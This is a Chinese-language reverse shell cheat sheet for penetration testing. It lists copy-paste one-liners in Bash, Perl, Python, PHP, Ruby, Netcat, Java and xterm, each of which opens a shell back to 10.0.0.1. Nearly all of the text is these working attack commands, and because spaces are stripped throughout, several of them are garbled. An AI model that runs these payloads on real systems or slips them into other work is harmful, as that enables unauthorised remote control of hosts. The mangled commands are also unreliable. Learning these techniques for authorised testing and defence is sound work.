如果你在渗透测试中幸运地找到了一个命令执行漏洞那么接下来你可能想做的便是获得一个交互式shell。
通过新建账户、添加SSH秘钥或是修改.rhosts文件等方法直接登录当然可以获得交互式shell。
若无法直接登录,就该考虑将shell绑定到某个TCP端口(正向shell)或是弹一个反向shell。
本文主要介绍反向shell。
使用何种反向shell技术主要取决于目标主机上安装的脚本语言——除非你要在目标主机上安装新脚本语言。
下面的例子都是为类Unix系统定制的,其中有些例子通过简单的修改可以运行在Windows中,如将“/bin/sh-i”修改为“cmd.exe”。
所有命令都写成了一行以便于复制粘贴,虽然这降低了可读性。
Bash
下例测试于Ubuntu10.10中:
bash-i>&/dev/tcp/10.0.0.1/80800>&1
更多Bash的例子见:《bashcansendyouareverseshell》。
PERL
perl-e’useSocket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh-i”);};’
更短的版本:《perl-reverse-shell》。
Python
下例测试于Linux/Python2.7中:
python-c’importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
PHP
下例假设TCP使用的文件描述符是3,在我测试的电脑上是这样的。如果不行,尝试4、5、6…
php-r’$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh-i<&3>&32>&3”);’
如果能上传.php文件,可以试试更强大的《php-reverse-shell》。
Ruby
ruby-rsocket-e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;execsprintf(“/bin/sh-i<&%d>&%d2>&%d”,f,f,f)’
Netcat
Netcat在现在的生产环境服务器中难得一见,就算安装了它,有一些版本也不支持“-e”参数。
nc-e/bin/sh10.0.0.11234
如果你遇到的Netcat不支持“-e”参数,可以用下面的方式获得反向shell:
rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc10.0.0.11234>/tmp/f
Java
r=Runtime.getRuntime()
p=r.exec([“/bin/bash”,”-c”,”exec5<>/dev/tcp/10.0.0.1/2002;cat<&5|whilereadline;do\$line2>&5>&5;done”]asString[])
p.waitFor()
(没有从匿名读者测试子任务)
xterm
使用xterm会话是获得反向shell最简单的方式。下面的命令应该运行在服务器上,它将会尝试连接你(10.0.0.1)的6001端口。
xterm-display10.0.0.1:1
为接受xterm连接你需要启动一个X-Server,方法之一是使用如下命令,该命令运行在你的电脑(10.0.0.1中),:1表示6001端口:
Xnest:1
还需要授权让目标能够连接你:
xhost+targetip
进一步阅读
Bernardo’sReverseShellOne-Liners
reverseshellwritteningawk,
Tips:本站所有资源均收集自互联网,分享目的仅供学习参考,资源版权归该资源的合法拥有者所有。
Tips:若本站所发布的资源侵犯到您的合法权益,请及时联系 hqteam@qq.com 删除!
暂无评论内容